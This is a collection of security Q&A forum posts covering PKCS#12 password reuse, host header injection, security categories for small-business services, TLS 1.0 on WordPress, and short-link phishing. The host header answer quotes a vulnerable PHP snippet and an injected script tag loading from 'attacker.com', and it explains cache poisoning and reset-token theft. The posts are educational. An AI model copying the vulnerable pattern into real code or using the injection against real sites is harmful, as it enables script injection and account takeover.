Enter pass phrase for privatekey.pem:
Enter Export Password:
Verifying - Enter Export Password:

If the involved software systems do not do anything stupid, then no, it should not cause any particular problem to reuse the password in that case. By "anything stupid" I mean something like reusing a salt value or failing to generate any IV in the proper way. Each of the involved encryption layers (in JKS, for the private key itself, and for the two passwords in PKCS#12) is defined as a stand-alone entity with its own password-to-key derivation (with its own salt), IV and encryption algorithm.

As a generic cautionary measure, you may want to do all this conversion/export/import in a temporary directory on a memory-based filesystem, so that the involved files are not actually written to a physical disk.


Is host header injection possible without cache or password reset? I am a beginner in security and reading about host header injection. I tested an application for this vulnerability and it is possible there for some request, but the developer implemented no-cache, no-store flags and this vulnerability is not in password reset request.

So first, there will not be cache poisoning, and second it is not happening in password reset request.

As I understand that to exploit this vulnerability, I change the host header. So I want to know why would it be a vulnerability? Why would a user want to change the Host of the application? And how can an attacker exploit it?

The thing with host header injection is that it can allow an attacker to control part of a response. From a great article at Acunetix:

The PHP script in the following example is a typical and dangerous use of the host header.
<script src="http://<?php echo _SERVER['HOST'] ?>/script.js">

An attacker can potentially manipulate the code above to produce the following HTML output just by manipulating the host header.
<script src="http://attacker.com/script.js">

But if you are only manipulating the response you get yourself, this isn't very useless. After all, XSS:ing yourself isn't that fun. You need to change the response your victim get, but you can't modify the host header of your victims request. Whats to do? There are two common ways:

Cache poisoning: If the response that loads a script from attacker.com is cached at some server, it will be served to others as well. Bingo!
Password reset: If you can modify the password reset link that is sent out in emails, you can steal the password reset token once the victim clicks it. (Note that this is not modifying the HTTP response, but rather an email the server sends.)

So if none of this works, does that mean everything is good and well? Not really. It probably mean that this can't be exploited at the moment, at least not in an easy way, but it is still bad and something that should be reported in a pentest report. Because what happends if someone changes the chache policy one day? You don't want to be just a server reconfig away from getting owned.


Categories of security when evaluating services and protocols I'm setting up some externally accessible services for a small business, and evaluating some of the different options I have. This is all new to me. I have found the question, "is this secure?" to be very vague and misleading. So, to weigh the pros and cons of these options in terms of security, I am trying to divide that question up into more reasonable categories.

Thinking about it, I have divided the issue of "security" into the following four categories:

Login security: Is the system vulnerable to proper but unauthorized logins, e.g. are passwords too easy to guess, is it vulnerable to dictionary attacks, is it properly set up to disallow anonymous access, does the system force a user to use the same credentials for many services, are credentials being shared through other means (e.g. plain text password reminder emails), is the client side prone to issues (e.g. does a web-based service leave passwords in http get requests in the browser history), etc.
Sniffing / intercepting / modifying traffic: Is the system vulnerable to a motivated attacker (or a casual attacker just looking to cause random trouble, e.g. monitoring wifi traffic in a public location) who can gain credentials or other information by watching network traffic (e.g. are credentials and/or data transmitted with poor or no encryption) or intercepting and modifying it (e.g. mitm attacks)?
Exploits / holes: Is the system vulnerable to flaws in service applications or underlying protocols (things that usually end up discovered and patched eventually, but are outside my control)? This category does not include exploits accomplished by mitm-based attacks†, but rather, things that can be exploited without intercepting existing traffic (e.g. the exploit code red took advantage of).
"Internal" access: (Not sure what to call this) If an attacker does gain access to one service, can they easily obtain other information from there about that service or others (e.g. a service with SQL injection vulnerabilities, gaining root access to other machines on a LAN after an unauthorized VPN login, etc.)

I have then been attempting to analyze the pros and cons of various service options in terms of the categories above. The categories above, I think, have distinctly varying levels of risk associated with them.

My question is: Is my categorization correct, or at least reasonable? If not, keeping in mind that this is a small business that is unlikely to be an explicit target for attackers (explicit -- of course there still seems to be the flood of random foreign IP addresses that seem to be constantly and inexplicably trying to obtain SSH logins and request random weird web pages), how is the matter of "security" usually divided up and analyzed when evaluating the addition of a new service?

I am constantly frustrated by statements like "X is not secure" without further explanation. I have found that certain things are secure enough for certain usages; and my primary goals are to 1) come up with a way to objectively evaluate whether or not a service or protocol is good enough for a given situation - weighing its risks vs. benefits, and 2) be able to clearly and adequately answer users' questions about the security of the options I choose.

† The reason is I'm trying to categorize these things based on the environment an attacker would have to be in, the tools and skills required, and the estimated likelihood of somebody actually attempting it.

Solving small problems is certainly easier than solving big problems. But you might want to think about how you would decompose these categories further into a hierarchy (decompose the problems further before trying to find answers). e.g. typically what you have described as login security is decomposed into access, authentication and authorization.

You will probably find that you will want to revisit and develop this hierarchy as you work on the analysis.

A fairly obvious gap in your current model is that you are only considering an us-and-them scenario - but as a service provider, there are at more parties involved. Does the system you are evaluating (for example) provide a means of attributing activities to specific individual or at least differentiating between your customers and yourself?

Another approach (complementary - not exclusive) is to cast yourself in the role of the attacker and consider how the system you are evaluating prevents you from acheiving some nefarious purpose - read someone's email, modify a project proposal, deface a website....Given a specific outcome facilitates making informaed choices about whether a solution which is not completely secure (i.e. all of them ;)) is worth the risk - take a guess at the probability of someone wanting to achieve the outcome, multiply by a guess at the probability that the solution can be thus exploited, and multiply by the cost impact. (There are more complex models for risk assessment).


Disabling TLS 1.0/ on Wordpress I run a Wordpress website on a OVH plan, so I don't have direct control over the server. I want to disable TLS V1.0 since it has known security vulnerabilities.

Most guides I have found on this have been to change settings on Apache/Nginx, but I don't have that ability. Is there any way to do this through .htaccess or plugins?

The certificate is provided by Lets Encrypt.

You'll likely need to contact your hosting provider. It's possible that they'll upgrade it for you but on the other hand they may ask you to "upgrade" to a newer hosting plan.

AFAIK there's no way to change this via .htaccess as it deals with a higher level of the software stack (i.e. resource permissions and routing). The same is likely true of plugins; they shouldn't have privileges to alter the server configuration beyond what you would have.


What would be the valid approach while handling short links In modern world people often use to send urls with url shortners from various webservices,Mostly we use url shortners to shorten the url

But in terms of exploits,phishing attempts how could we avoid it,if it's regular url we could/might guess some part of the url and ensure the confidentiality of url and might click over it,

What would be the approach while handling short links which carries hidden exploits?

To mitigate drive by exploit attacks:

Disable plugins or set to click to run
Disable JS for unknown sites
Use a sandbox/VM
Use exploit mitigation software such as MBAE, EMET or Palo Alto Traps
Use a traffic analysis tool
Block advertisements (optional)

To mitigate phishing attacks:

Check site URL matches what you expect
Check for a undepreciated TLS version
Check certificate matches what you expect
Check cipher suite is secure
Use your common sense before entering information

You can also use a browser extension to pause loading before a redirect, so you know where the redirect leads.